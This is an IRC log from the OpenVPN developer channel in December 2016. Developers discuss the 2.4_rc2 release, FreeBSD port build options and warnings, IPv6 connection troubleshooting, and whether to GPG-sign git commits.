have upgraded their certificate and my git/ssl/whatever is not liking the certificate path 09:03 <@cron2> git clone complains about SSL errors (it's not a firewall thing as I originally assumed) 09:03 <@mattock> actually, we already skip cmocka already on opensolaris, so adding netbsd 5.1 is not a big deal 09:04 <@cron2> thanks 09:04 <@cron2> I'll come back to this as soon as my NetBSD 12 on arm64 buildslave is ready :) 09:04 <@cron2> FreeBSD 12 09:05 * dazo heads out for food and errands 09:06 <@mattock> cron2: done 09:06 <@cron2> could you run a test build? 09:07 * cron2 has no access to the community VPN to click himself right now 09:13 <@cron2> something for slypknot... http://smbc-comics.com/comic/the-talk-4 09:13 <@vpnHelper> Title: Saturday Morning Breakfast Cereal - The Talk (at smbc-comics.com) 10:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 10:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:26 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 10:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:44 <@syzzer> cron2: hehe, brilliant comic :') 10:45 <@syzzer> dazo: yuk, a merge commit ;) would have been a great chance to use git notes 10:45 <@syzzer> but this of course works fine too, great that we finally got it in! :D 11:01 < eworm> When can we expect git tag and source tarballs? 11:17 <@dazo> syzzer: git notes can be modified without being noticed ... so the merge commit is much more sealing the information we already have shared on the mailing list 11:19 <@plaisthos> oh boy 11:19 <@plaisthos> I need to basically redo every commit of my branch 11:19 <@plaisthos> good that it were only 3 11:22 <@dazo> you scared me on your second line, plaisthos ;-) 11:23 <@dazo> plaisthos: what about to try to run uncrustify with our config the files you modify ... and then try to rebase on that? 11:43 <@syzzer> dazo: sure, but is that really relevant for the Ack-ed-by ? It's important that we have a link from the ml to the commit. That's why I posted the full commitsh in my ACK message :) 11:43 <@syzzer> anyway, glad that it's in 11:44 <@dazo> :) 11:58 < eworm> BTW, if anybody is interested... Routerboards (or RouterOS) work just find with openvpn 2.4. 12:16 <@cron2> that was a hit-and-run info, no? 12:24 <@dazo> well, ewowm is a good guy ... so probably more a coincidence 12:24 <@dazo> eworm is behind the latest systemd patches and discussions on the ML 12:24 <@dazo> (and have been hanging out here regularly too) 12:29 <@dazo> ecrist: mattock: Can you please check if community.openvpn.net is okay? 13:05 <@syzzer> just sent the patch I'd like to get it before rc2 to the list 13:06 <@dazo> agreed ... that does seem important ... I have also one which I'm uncertain about, mostly because it's not well tested ... https://paste.fedoraproject.org/507038/81828306/ 13:06 <@dazo> cron2: ^^^ 13:10 <@dazo> syzzer: btw ... is my v2 of auth-gen-token memory hardning ok? 13:11 <@ecrist> dazo: what's wrong with it? 13:11 <@dazo> ecrist: really slow 13:13 <@ecrist> heh 13:13 <@ecrist> load average of 14 13:39 <@dazo> syzzer: if (strcmp(line, "cipher ") == 0 .... wouldn't strncmp(line, "cipher ", 7) be more appropriate? 13:40 <@dazo> similar thing with the "peer-id " matching 13:45 <@dazo> I just doubt you'll ever get a match ... I'd expect line to contain 'cipher AES256-GCM' or 'peer-id 1' ... or something like that 14:30 * dazo heads home ... 14:30 <@dazo> grab me on mail if there are some urgencies 14:41 <@plaisthos> dazo: the commits are rather small 14:41 <@plaisthos> https://github.com/schwabe/openvpn/commits/icsopenvpn 14:41 <@vpnHelper> Title: Commits · schwabe/openvpn · GitHub (at github.com) 14:41 <@plaisthos> so just redoing was the fastest way 14:43 <@mattock> unless ecrist fixed something I did not see anything particularly suspicious on community.openvpn.net 14:43 <@mattock> some bots were misbehaving afaics, not respecting robots.txt 14:45 <@mattock> bingbot is crawling /openvpn/query, even though it should not 14:47 <@mattock> I remember some bots were explicitly blocked earlier because they misbehaved and slowed down Trac 14:47 <@mattock> may have to do that again if this persists 14:48 <@mattock> right now Trac seems to be responsive enough 14:52 <@vpnHelper> RSS Update - tickets: #792: segfault when printing SSL errors <https://community.openvpn.net/openvpn/ticket/792> 15:47 <@syzzer> dazo: hrmpf, that's what I get for rushing out a patch before having to leave... 15:47 <@syzzer> good that you catched it 15:51 < m-a> 2.4_rc1 doesn't build with -Werror on FreeBSD 10.3, two files generated pointer-signedness warnings. 15:56 < m-a> also: automake-1.15: warning: possible forward-incompatibility. 15:56 < m-a> automake-1.15: At least a source file is in a subdirectory, but the 'subdir-objects' 15:56 < m-a> automake-1.15: automake option hasn't been enabled. For now, the corresponding output 15:56 < m-a> ... 16:20 < m-a> ntlm.c has several pointer sign warnings 16:21 < m-a> GCC, but not clang, issues a bogus warning on ../../../src/openvpn/tun.c:1464:23: error: 'remote_end' may be used uninitialized in this function [-Werror=maybe-uninitialized] 16:29 <@cron2> m-a: we postponed cleaning up ntlm.c - there are patches floating around, but they need to be polished and that needed more time than anyone was willing to invest 16:29 <@cron2> (before 2.4 release, that is) 16:29 < m-a> ok 16:29 <@cron2> let me look into tun.c 16:29 < m-a> do we want to hide the tun.c uninitialized warning on remote end? on FreeBSD this looks like a false positive and GCC unable to prove that the initialisation basic block and the use basic block match 16:30 < m-a> I also have one variable initialized but not used warning in tun.c 16:31 < m-a> ../../../src/openvpn/tun.c: In function 'do_ifconfig': 16:31 < m-a> ../../../src/openvpn/tun.c:883:21: warning: variable 'ifconfig_broadcast' set but not used [-Wunused-but-set-variable] 16:31 < m-a> const char *ifconfig_broadcast = NULL; 16:31 < m-a> ^ 16:32 <@cron2> ok, the remote_end warning is a complicated-to-see false positive 16:33 < m-a> the ifconfig_broadcast warning also does NOT appear in clang and while it may not be necessary, it looks like defensive programming. 16:34 <@cron2> the ifconfig_broadcast variable is indeed unused on FreeBSD, I think 16:35 < m-a> but still you don't want that masked behind #ifdefs 16:35 <@cron2> it's used (for whatever historic reason) to set the broadcast address on Linux ifconfig and on NetbSD 16:35 < m-a> that code is ugly enough as it stands 16:35 < m-a> unless we split the file up into OS-specific subroutine collection files that use Makefile.am conditionals (which I'd also put as Priority 3 in my book)... 16:36 < m-a> I'll steer clear of -enable-werror. 16:36 <@cron2> I think what I want is to rip it *out*, totally and completely :-) - because no OS built in the last 20 years needs to be told the broadcast address if it's just the normal all-ones 16:36 < m-a> :-) 16:36 <+krzee> hah ya i cant remember the last time i set bcast manually 16:37 <@cron2> I've opened a "clean up tun.c" trac ticket on myself a few weeks ago already... 16:37 < m-a> but that's post-2.4 business I presume 16:37 <@cron2> yes 16:37 < m-a> fair enough 16:37 < m-a> I'm scratching my head over the lz4 option, do I want it enabled by default on FreeBSD? 16:37 <@cron2> refactoring-style stuff will not go in now, only bugfixes, documentation updates 16:38 <@cron2> lz4 is always-on :) - the question is more "do you want to add an external dependency or use the built-in compat-lz4*" 16:38 < m-a> uh there's --disable-lz4 :-) 16:39 < m-a> which seems to do what it advertises 16:39 <@cron2> oh 16:39 <@cron2> indeed 16:39 * cron2 searched for LZ4 and configured had nothing of that sort 16:39 < m-a> but normally I would want an external dependency to reduce bloat 16:39 < m-a> $ ./configure --help=short | grep -i lz4 16:39 < m-a> --disable-lz4 Disable LZ4 compression support 16:39 < m-a> ... 16:40 <@cron2> not sure what I did... maybe mistyped 16:40 < m-a> Now that people go for RasPi and stuff I'm wondering about --enable-small 16:40 <@cron2> anyway - since archivers/liblz4 builds a shlib on FreeBSD (according to pkg-plist), using that sounds like a reasonable idea 16:41 < m-a> that it does 16:41 <@cron2> elsewhere it used to be a static liblz4.a, in which case it does not really matter 16:41 <@cron2> "it will end up being statically linked" 16:41 < m-a> no 16:41 <@cron2> "elsewhere" 16:41 < m-a> ah ok sorry 16:42 < m-a> FreeBSD was bickering I should add a dependency line because openvpn were dynamically linked against liblz4.so and I hadn't listed that. 16:42 < m-a> or rather the ports build rig 16:42 < m-a> how wide-spread are x509altusername and pkcs11? 16:42 < m-a> disabled by default on FreeBSD (meaning not compiled into binary packages) 16:42 <@cron2> true - since we're using it if it's there, we should make the dependency explicit 16:42 <@cron2> (liblz4.so that is) 16:43 < m-a> I'm undecided whether upstream should make that explicit. autoconfigured is fine IMO it's just that the package build rigs should set it explicitly 16:43 <@cron2> for the port 16:44 < m-a> for me in the port, it's a one-liner 16:44 <@cron2> because otherwise we might end up with a binary that got built against liblz4.so, but nobody knows, and then someone removes liblz4 and breaks openvpn without warning 16:44 < m-a> plus twice "LZ4" in the OPTIONS_ lists 16:44 <+krzee> m-a: you a port maintainer for fbsd? 16:44 < m-a> that's settled 16:44 < m-a> krzee: yes indeed 16:45 <@cron2> I have no idea about --x509-username-field -> ENABLE_X509ALTUSERNAME. syzzer might know 16:45 < m-a> cron2: the pkg(1) framework deals with such requisites these days anyways 16:45 <@cron2> cool 16:45 <+krzee> oh great, on fbsd11 i have issues with ports not compiling with mbedtls when told to 16:45 <@cron2> m-a: but you have to tell it? or will it auto-figure that out? 16:45 < m-a> I'm not maintaining all ports you know 16:45 <+krzee> i mean openvpn on freebsd 16:45 <@cron2> m-a: ecrist wanted to look into that - the openvpn-devel port is not using the crypto library selection 16:46 <@cron2> (always building with openssl) 16:46 <+krzee> yes that ^ 16:46 < m-a> cron2: "it depends". If you build on bare metal, it picks it up and then registers it. When the canonical clean-room-rebuild in a jail (chroot-like but stronger) runs, which is also part of package building, then it would be missing because lz4 wouldn't be part of the jail. 16:46 < m-a> I have a slave port that pulls mbedTLS-oldish into OpenVPN 2.3 which works for me. 16:47 <@cron2> in that case it would use our compat-lz4 stuff then, and not depend on lz4... - not exactly "reproduceable builds", then, not good :) 16:47 < m-a> But I wanted the base port (OpenSSL-based) sorted before looking into mbedTLS 16:48 < m-a> cron2: it currently is a default-on option. When enabled, it pulls in the liblz4 package, when disabled, it waives that requisite and forces --disable-lz4, so it's under tight control. 16:48 <@cron2> as for --enable-pkcs11, I have never used it, but as far as I understand, if you want to use smartcard stuff, thi sis needed 16:48 < m-a> so perhaps we should enable it because pkcs11 is lightweight? 16:48 <@cron2> m-a: wrt lz4 -> ack :) 16:49 <@cron2> wrt pkcs11 - the windows binaries are built with it, but from the Linux camp I've heard that it brings complications if you end up having openssl 1.0.x and 1.1.x installed and pkcs11 being linked against 1.1.x while openvpn needs 1.0.x today - so that's better discussed on the mailing list when syzzer is awake 16:50 * cron2 shied away from trying to understand these bits 16:50 < m-a> oh that's Pandora's box. 16:51 < m-a> a long-time committer was shouted down and the port managers reverted his OpenSSL 1.0.2 -> 1.1.0 port upgrade 16:51 < m-a> what's worse it the other usurper 16:51 < m-a> libressl 16:51 < m-a> it plays nasty games on the OpenSSL library version (claiming "2") but the most recent release has OpenSSL 1.0.x's API. 16:51 < m-a> and all compete for the same path 16:52 <@cron2> we noticed... there's an "#if openssl_new_enough && !libressl" somewhere in openvpn, because of that 16:52 < m-a> for ports that's getting you stuck between a rock and a hard place 16:52 < m-a> also in fetchmail 16:52 < m-a> that's why I call them usurper 16:52 <@syzzer> yeah, that's one can of worms... 16:52 < m-a> they should be banned to a separate directory in packagin 16:53 <@syzzer> pkcs11 is quite useful, and quite harmless when compiled against openssl 16:53 <@cron2> oh, syzzer still around :-) - syzzer: can you recommend using pkcs11 or not, for the freebsd 2.4 port/package? 16:53 <@syzzer> ... as long as you don't get the version conflict stuff... 16:55 <@cron2> what about ENABLE_X509ALTUSERNAME? what is that, why is it an #ifdef, and what does the port want to have? 16:55 < m-a> it's currently default-off 16:55 < m-a> (to match upstream) 16:55 <@syzzer> it controls which field from the certificate is used as the username 16:56 <@syzzer> I've seen it used to match some other field than CN to e.g. LDAP auth 16:56 <@syzzer> I have no clue why it's behind ifdef 16:57 <@syzzer> but the man page promises we can purge some of the code: "This automatic upcasing feature is deprecated and will be removed in a future release." 16:57 < m-a> cron2: just an example from trying to install mbedtls-2.4 on FreeBSD with polarssl13 in place: 16:57 < m-a> - mbedtls-2.4.0 [FreeBSD-latest] conflicts with polarssl13-1.3.18 [installed] on /usr/local/bin/mbedtls_aescrypt2 16:57 < m-a> ... 16:57 < m-a> it offers to remove polarssl13 1.3.18 so it can install mbedtls 2.4.0 16:57 <@cron2> wonderful 16:57 < m-a> but one port (such as openntpd) requiring libressl's libtls and something else insisting on OpenSSL 1.1.0 and you better start segregating your ports onto different computers or jails 16:58 <@syzzer> those really shouldn't conflict... 16:58 <@cron2> m-a: so there's the answer regarding ENABLE_X509ALTUSERNAME -> leave it off :) 16:58 < m-a> cron2: well, it's not nearly half as mature as Fedora's yum used to be. and not as mature as apt on Debian. 16:58 < m-a> syzzer: polarssl13 is going to die some day so probably nobody bothered to polish this 17:00 <@syzzer> about apt's maturity: https://lists.debian.org/debian-security-announce/2016/msg00316.html 17:00 <@vpnHelper> Title: [SECURITY] [DSA 3733-1] apt security update (at lists.debian.org) 17:00 < m-a> pkg has got version 1.9.4 which is a political version number for getting it into the ports rig, but technically it's more some 0.7.4 17:01 <@syzzer> ... that basically broke all pakage authentication when using http (which almost every apt repo does) 17:01 <@cron2> what I miss most in pkgng is bsdpan - that was incredibly useful for CPAN packages not in ports 17:01 < m-a> I've mostly left Perl behind 17:01 < m-a> as I have mostly left assembler behind :-) 17:01 <@cron2> I have a huge base of existing and daily used software to maintain 17:01 <@cron2> as part of my daytime half-sysadmin-half-networker job 17:02 < m-a> I've used Perl before as my main scripting language, but I've moved on to Python. 17:02 < m-a> never used BSDPAN 17:03 < m-a> we do not seem to roll cmocka stuff into the package tarballs, do we? 17:03 <+krzee> same here cron, i have a few thousand lines of bash scripts running the office :D 17:03 <@cron2> they did something magic so all the perl CPAN packages ended up being fully registered in (old-pkg), so you could clean them up with "pkg_remove" and all this 17:05 <@syzzer> oh, to avoid confusing, the deprecated thing is just a *part* of the --x509-alt-username feature, not the core of it 17:05 < m-a> cron2: it shouldn't be too hard to pull the same stunt with pkg, only someone who understands pkg has to do it. Its database is somewhat more opaque (but SQLite3). 17:05 <@syzzer> looking at it, I think we should purge the deprecated part and unconditionally enable it in configure 17:06 < m-a> syzzer: indeed that DSA3733-1 apt signature validation flaw is massive 17:06 <@cron2> sounds like a plan (for after-2.4) 17:06 < m-a> seems I have the 2.4_rc1 version of openvpn in shape to tar it up and call for reviews. 17:07 <@cron2> cool 17:07 <@syzzer> cron2: indeed, after-2.4 17:07 <@cron2> (as a side note, I'm using openvpn-devel from the ports on our corp openvpn machines, on FreeBSD 10.1 and 10.3, with good success (*and* proper switching to AES...)) 17:08 < m-a> well, that's maintained by Eric Crist. 17:08 <@cron2> I understand, but just pointing out "the code has seen real world testing already" 17:09 < m-a> yeah, but let's do it more formal. I'm quite busy in December, so I need to use the few time slots for preparation already. 17:09 <@cron2> not disagreeing 17:09 <@cron2> anyway, need to sleep. midnight here, and a busy friday coming up 17:09 < m-a> same here 17:10 <@cron2> *wave* 17:10 < m-a> are there new plugins I need to package? 17:11 <@syzzer> good night! 17:11 <@syzzer> m-a: not that I'm aware of 17:37 < m-a> https://reviews.freebsd.org/D8813 or https://people.freebsd.org/~mandree/openvpn-2.4.r1-v1.tar.xz 17:37 <@vpnHelper> Title: ⚙ D8813 OpenVPN 2.4 preview (at reviews.freebsd.org) 17:42 < m-a> $ openvpn --verb 4 openvpn-rsv1.ovpn 17:42 < m-a> Options error: Unrecognized option or missing or extra parameter(s) in [CMD-LINE]:1: verb (2.4_rc1) 17:42 < m-a> Use --help for more information. 17:42 < m-a> uh 17:44 < m-a> pretty misleading 17:44 <+krzee> weird, it shouldnt work cause no --config, but still shouldnt error on verb 17:44 < m-a> misreporting... 17:44 <+krzee> yep 17:44 < m-a> multi-argument messup? 17:44 < m-a> because it tries to tell me that --verb only takes one argument? 17:46 < m-a> ho-hum 17:47 <+krzee> ohhh its seeing the config as an option to verb 17:47 <+krzee> i get it now 17:47 <+krzee> ya what you said ;] 17:48 <+krzee> kinda makes sense, although it would be nice if it gave a better error im not sure how it would know that its supposed to be a config file and not a second option to verb 17:48 * m-a scratches head why it's not working 17:49 <+krzee> why whats not working? 17:49 <+krzee> openvpn --verb 4 --config openvpn-rsv1.ovpn 17:49 <+krzee> you can only skip --config if config file is the only option 17:49 < m-a> that I know, but client and server don't chat happily 17:50 <+krzee> oh, wanna pass me configs and logs for an extra pair of eyes? 17:50 <+krzee> up to you 17:50 < m-a> that's not the point. 17:50 <+krzee> alright, well lemme know if i can be of any help =] 17:51 < m-a> openvpn 2.3.14 works. 17:51 < m-a> 2.4 doesn't negotiate. It seems to try IPv6 17:51 < m-a> I see the packets on the server in tcpdump but the 2.3 server isn't responding. 17:52 < m-a> Fri Dec 16 00:43:10 2016 UDP link remote: [AF_INET6]blaa:blaa:... 17:52 < m-a> Fri Dec 16 00:44:10 2016 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) 17:52 < m-a> I can ping it though 17:52 <+krzee> firewall? port? 17:53 < m-a> nah 17:53 <+krzee> policy routing? 17:53 <+krzee> thats it for my blind guesses :D 17:53 < m-a> unless sixxs is tightening everything up it should Just Work™ 17:53 < m-a> UDP 1194 as usual. 17:54 < m-a> SSH via IPv6 negotiates instantly 17:54 < m-a> *scratches head* 17:54 <+krzee> server is listening on ip6? 17:54 <+krzee> i know it prolly is, just using my last blind guess lol 17:54 < m-a> that is what I'm trying to find out. Android's OpenVPN shows the same [mis]behaviour. 17:55 < m-a> that was a good question 17:55 < m-a> COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME 17:55 < m-a> openvpn 15003 nobody 6u IPv4 0xfffff80002792690 0t0 UDP *:openvpn 17:55 < m-a> ^^ 17:55 <+krzee> woooo! 17:55 <+krzee> lucky blindness! 17:55 < m-a> server isn't talking IPv6 17:55 <+krzee> 2.4 does auth, 2.3 wont, needs to be told 17:55 <+krzee> auto* 17:56 <+krzee> proto udp6 iirc 17:56 < m-a> 2.3 for some reason prefers IPv4, 2.4 starts with IPv6 and then fails over to IPv4 after a minute when it ultimately works 17:56 <+krzee> yes 17:56 <+krzee> 2.3 you must specify 17:56 <+krzee> 2.4 wants to run on both when in proto udp 17:56 <+krzee> and proto udp4 for ipv54 only in 2.4 17:56 <+krzee> ipv4 only* 17:57 <+krzee> thats newness 17:58 < m-a> well, it looks as though OpenVPN 2.3's manual page wouldn't even mention udp6 o.O# 17:59 <+krzee> ya not in the right place at least 17:59 <+krzee> found it here: 17:59 <+krzee> Actual IP address of connecting client or peer which has been authenticated. Set prior to execution of --ipchange, --client-connect, and --client-disconnect scripts. If using ipv6 endpoints (udp6, tcp6), trusted_ip6 will be set instead. 18:00 <+krzee> but thats definitely not where it would be looked for 18:01 < m-a> uh. The certificate is signed with an unacceptable key (eg bad curve, RSA too short). 18:01 <@vpnHelper> RSS Update - tickets: #793: man page for --proto <https://community.openvpn.net/openvpn/ticket/793> 18:01 <+krzee> no curves in 2.3 iirc 18:01 < m-a> everything generated with 2.3 18:02 <+krzee> generated? 18:02 < m-a> probably depth0 cert too short. 18:02 <+krzee> you dont make certs in openvpn 18:02 < m-a> well whatever 18:02 <+krzee> hehe 18:02 <+krzee> for real, i dont think 2.3 does EC 18:02 < m-a> they were good for openvpn 2.3 + openssl 1.0.x when generated 18:02 <+krzee> oh you used them before in 2.3 18:02 <+krzee> ? 18:02 < m-a> yup, just swapping the executable in and out 18:02 <+krzee> ok maybe they gave us EC in the middle of 2.3 then 18:03 < m-a> no 18:03 < m-a> mbedTLS is pickier than OpenSSL about my CA cert 18:03 <+krzee> oh maybe you picked a curve that mbed doesnt know? 18:03 < m-a> no no no 18:03 <+krzee> it supports quite a few less 18:04 < m-a> WARNING: INSECURE cipher with block size less than 128 bit (64 bit). This allows attacks like SWEET32. Mitigate by using a --cipher with a larger block size (e.g. AES-256-CBC). 18:04 < m-a> oh hell 18:04 <+krzee> thats a warning not an error tho 18:04 < m-a> yeah, and about the cipher, not the cert 18:04 <+krzee> standard warning with blowfish now 18:05 < m-a> I think I need to redo the certs these days 18:05 <+krzee> which was default in 2.3 18:05 < m-a> and possibly keys and everything, but I need quality time. 18:05 < m-a> Perhaps Sunday is soon enough. 18:05 < m-a> on FreeBSD I think I need to run the server in two instances, once for IPv4, once for IPv6. FreeBSD doesn't dual-stack 18:05 < m-a> I'm not normally getting IPv6-mapped-IPv4 either 18:06 < m-a> these ::ffff:10.9.8.7 addresses 18:06 <+krzee> ever play with xca? i recently used dazo's template for it, much nicer than i expected from a gui CA tool 18:06 < m-a> xca? 18:06 < m-a> never heard of that 18:06 <+krzee> ya its a gui ca, i didnt know it until recently either 18:06 <+krzee> in #openvpn !xca will give you the page with the template 18:07 < m-a> hm 18:07 < m-a> another question, if I want OpenVPN 2.3 to listen on two separate ports that means running the executable twice, once for each port, no? 18:07 <+krzee> exactly 18:08 <+krzee> same with multiple protocols 18:08 <+krzee> tcp/udp 18:09 <+krzee> although 2 ports on 1 proto could also be done with firewall trickery, what you said is the normal way =] 18:10 < m-a> I think I should just firewall IPv6:1194 for now so it fails quickly 18:10 <+krzee> or specify the ipv4 addy in the config 18:10 < m-a> no, udp + udp6 18:12 <+krzee> i mean the client config 18:12 < m-a> oh the client is fine 18:12 < m-a> it uses DNS and round-robins 18:14 <+krzee> i mean since the client connects to ipv6 and you wanted to force it to ipv4, but since you're using RR nevermind :D 18:14 <+krzee> ohhhh client could use proto udp4 18:14 < m-a> too many clients to change 18:14 <+krzee> that should force it to connect to ipv4 and no ipv6 18:14 <+krzee> oh werd 18:14 <+krzee> didnt realize it was live :D 18:19 < m-a> of course, give it the real testing 18:19 < m-a> it's a personal (non-commercial) VPN 18:19 < m-a> so good for testing ;-) 18:19 <+krzee> yep ill be going live with 2.4 soonish 18:19 <+krzee> lots of script writing for the migration before i can do it 18:19 <+krzee> LOTS 18:20 < m-a> I'm too stupid or rather too tired to get PF to send out "you can't reach this port" only for the IPv6 part 18:21 <+krzee> stolen from google: 18:21 <+krzee> pass in on $ext_if inet6 proto udp from any to $dns_servers6 port domain 18:21 <+krzee> https://bash.cyberciti.biz/firewall/pf-ipv6-ipv4-firewall-for-freebsd-openbsd-netbsd/ 18:21 <@vpnHelper> Title: BSD PF IPv6 and IPv4 /etc/pf.conf Firewall Script (at bash.cyberciti.biz) 18:21 <+krzee> should be enough to steal/modify a working rule from =] 18:22 <+krzee> i been working for 10 hours, coffee powered! 18:22 <+krzee> straight up tweaking from coffee :D 18:22 <+krzee> only another 4-5 hours to go! 18:23 < m-a> oh joy 18:24 < m-a> the server sends the ICMP port unreachable 18:24 <+krzee> woot 18:25 < m-a> but I don't see it on the client 18:25 <+krzee> is it coming over ipv6 and you watching tcpdump on ipv4? 18:26 < m-a> WARNING: INSECURE cipher with block size less than 128 bit (64 bit). This allows attacks like SWEET32. Mitigate by using a --cipher with a larger block size (e.g. AES-256-CBC). 18:26 <+krzee> still a standard warning when using blowfish 18:27 < m-a> uh sorry old paste 18:27 < m-a> tcpdump uses raw sockets so ipv6 doesn't matter 18:27 <+krzee> np, would it be ok if we goto #openvpn? nothing going on over there right now 18:27 <+krzee> oh ok, i dont use ipv6 so i gave that one a shot ;] 18:27 < m-a> I'll rather go to bed :-) 18:28 < m-a> and undo the block because otherwise I'll be debugging that on Sunday ;-) 18:29 <+krzee> haha werd 18:29 <+krzee> well nice to meet ya 18:30 < m-a> anything with the FreeBSD port of OpenVPN that is reproducible, better file with FreeBSD's bugzilla so bugzilla annoys me every week ;-) 18:30 < m-a> cee you 18:30 < m-a> uh 18:30 < m-a> can't even write any more. 18:31 < m-a> Time to go before it gets too embarrassing. 18:32 <+krzee> oh cool, next time ill bugzilla you :D 18:32 <+krzee> i actually had thought ecrist was still doing the port, so i just told him 18:41 <@dazo> syzzer: I've started to look at your updated patch .. but need a bit more brain power to fully test it ... 19:18 < ordex> moin 19:55 < ordex> selvanair: I agree with you on not running uncrustify before every single submission. we should really stick to the codestyle, "use" it while coding and enforcing it during a review 19:55 < ordex> my 2 cents --- Day changed Fri Dec 16 2016 00:27 < ordex> dazo: the condition in the assert should rather be '>=' instead of just '>' ? 00:28 < ordex> or = is not possible ? 00:28 * ordex hasn't checked the function 02:34 <@cron2> mornin' 02:38 <@cron2> m-a: FreeBSD does dual-stack if told, and we do :-) 02:39 <@cron2> mmmh, he ran away 03:24 <@syzzer> ordex: it's binary -> base64, so should always be longer. The > is a bit like a simple best-effort check that it didn't fail horribly, not a complete check.) 03:25 < ordex> I see :) 03:25 <@syzzer> dazo: I think your auth-get-token hardening patch still needs to be rebased on the (reformatted) master branch? 03:25 < ordex> oh I have to rebase a bunch of patches too 04:07 <@dazo> ordex: in that context > is just fine ... because the output should definitely be longer than the input, due to base64 encoding 04:07 <@dazo> ahh, syzzer said the same :) 04:07 < ordex> yeah :) 04:09 <@dazo> syzzer: regarding rebasing ... I'll double check, probably yes ... but it applies cleanly, but I see it most likely needs to be uncrustified 04:10 <@dazo> oh ... wtf have I done? it wasn't rebased :/ 04:17 <@dazo> good ... re-running uncrustify on ssl_verify.c helped :) 04:18 <@mattock> how about some 2.4_rc2 tarballs? :P 04:19 <@dazo> mattock: getting there ... need to review one fairly reasonable patch from syzzer ... hopefully the hardening patch I'm working on now can manage it too (as it improves some code paths which are somewhat security related brand new feature) 04:20 <@mattock> I have about three hours today, but if we get the ball rolling today, I can possibly finish the release tomorrow morning 04:20 <@mattock> usually a release takes between 2:30 and 3:00 hours 04:20 <@dazo> okay ... syzzer how's your next 30 minutes? 04:33 <@dazo> syzzer: patch on the way to the ML now 04:40 <@mattock> I presume --proto on the man-page has intentionally left out udp6/tcp6? https://community.openvpn.net/openvpn/ticket/793 04:40 <@vpnHelper> Title: #793 (man page for --proto) – OpenVPN Community (at community.openvpn.net) 04:41 <@dazo> plaisthos: got a chance to look at #793 ... we can have that one for the 2.4.0 releasee 04:43 <@syzzer> dazo: did a quick review-and-test of auth-gen-token 04:43 <@syzzer> have to focus on $dayjob for the rest of the day 04:44 <@dazo> syzzer: I'm playing with your no-reopen-tun patch now 04:44 <@dazo> got some quick tip on how to test that one? 04:45 <@dazo> pondering on how I can force these various if-branches to be executed 04:54 < eworm> So we will not see 2.4_rc2 today? 04:54 <@dazo> we will 04:54 <@dazo> at least the tarballs 04:54 < eworm> that's fine 04:55 < eworm> tarballs are all I need :-p 04:55 <@dazo> :) 04:55 < eworm> (and their signatures) 04:55 <@dazo> I can at least provide you "unoffical" signed tarballs .... which are the ones mattock uses, where he re-signs them with his key 04:56 <@dazo> (and my PGP key should be signed by mattock, cron2 and syzzer) 04:56 <@mattock> eventually yes, when I get to signing it 04:56 <@mattock> other stuff has robbed my attention from the keysigning party 04:57 < eworm> https://git.archlinux.org/svntogit/packages.git/tree/trunk/PKGBUILD?h=packages/openvpn 04:57 <@dazo> :) 04:57 <@vpnHelper> Title: svntogit/packages.git - Git clone of the 'packages' repository (at git.archlinux.org) 04:57 < eworm> we have valid release keys defined in build script... 05:00 < eworm> I could add more keys, though... :-p 05:01 <@dazo> mattock: okay, I'm getting very close ... final make check with two new patches applied ... and then i'm ready to do the release commit 05:03 <@dazo> this is actually an even more boring release than 2.3.14 .... which is really good 05:04 <@dazo> (mostly docs updates) 05:06 <@dazo> well, theres the reformatting stuff though which makes it big ... but that's not core code changes ... just changing the layout 05:08 * dazo waits for final openvpn test 05:09 <@dazo> I don't dare to presume it works ... as then it will explode in my face 05:09 <@dazo> make distcheck 05:12 <@dazo> git push 05:14 <@vpnHelper> RSS Update - gitrepo: Preparing OpenVPN v2.4_rc2 release <https://github.com/OpenVPN/openvpn/commit/a5ae0138eed240a23f46c0f091f1830ab36396c2> || auth-gen-token: Hardening memory cleanup on auth-token failuers <https://github.com/OpenVPN/openvpn/commit/5d4cabff18718981a66ab9066b49297e42cb22b4> || Don't reopen tun if cipher changes <https://github.com/OpenVPN/openvpn/commit/ec4dff3bbdcc9fedf7844701dc5aa2679d503667> 05:16 <@cron2> whee! 05:16 * cron2 dances the happiness dance :-) - and waits for the smoke coming out the buildbot hosts 05:17 <@dazo> hehe :) 05:17 <@cron2> hopefully mine are all green now... 05:17 < ordex> :D 05:20 <@dazo> final test on the signed tarballs ... and mattock gets them :) 05:28 <@dazo> mattock: once you get this tested ... I'll tag the tree and push the tag 05:35 <@dazo> mattock: oh ... I forgot to say ... tarballs are ready! 05:37 <@dazo> cron2: from now of, we should use 'git commit -s -S' when doing our commits to the tree ... I'll need to double check the git-ackam script to do the same though 05:37 <@dazo> but that adds a PGP signature to each commit as well, so it gets even harder to manipulate our git tree :) 05:38 <@dazo> (and users can verify its validity even easier, through adding --show-signature to git show/log) 05:38 <@cron2> I'm not sure if we're not overdoing things just a bit 05:39 <@dazo> except of just adding -S ... there's nothing more you'll really see 05:40 <@cron2> except "please enter your passphrase" ... "again"... "again"... I use --amend quite a lot on stuff I merge - URL wrong because archive not there yet, commit message wrapping improval, Changes.rst, ... 05:40 <@cron2> so it's not unusual I do 4-5 rounds of "git commit --amend" until I'm happy with the result 05:41 <@dazo> ahh, I'm using gpg-agent ... so I type the password once in the "morning" ... and then it's out of my way 05:41 <@cron2> and with this, gpg signatures add security against what? 05:42 <@dazo> without it, if the git tree is compromised ... you can only detect it has been compromised by comparing it to another remote repository 05:43 <@dazo> with gpg signatures, the signature will be broken or missing if it has been compromised 05:43 <@cron2> it would be very obvious the first time we try to push something 05:43 <@dazo> right, we would notice it much quicker ... but those just doing git fetch from github and only github won't notice it 05:44 <@cron2> those would need to know that my key is actually my key, and not "someone has made a key that matches the name in the commit message, and is on gpg.net", no? 05:44 <@dazo> other users would only detect it if they pull from minimum two sources ... and compares the output of 'git branch -va' 05:44 <@dazo> cron2: right ... which is why it's good we've had our key-signing party 05:47 <@cron2> so Joe Random <joe@malware.org> is able to manipulate our repos. What's going to stop him from doing so, and signing the result with his key? 05:49 <@dazo> nothing restricts him .... but if Joe Random generates fake keys, they will lack the signatures ... 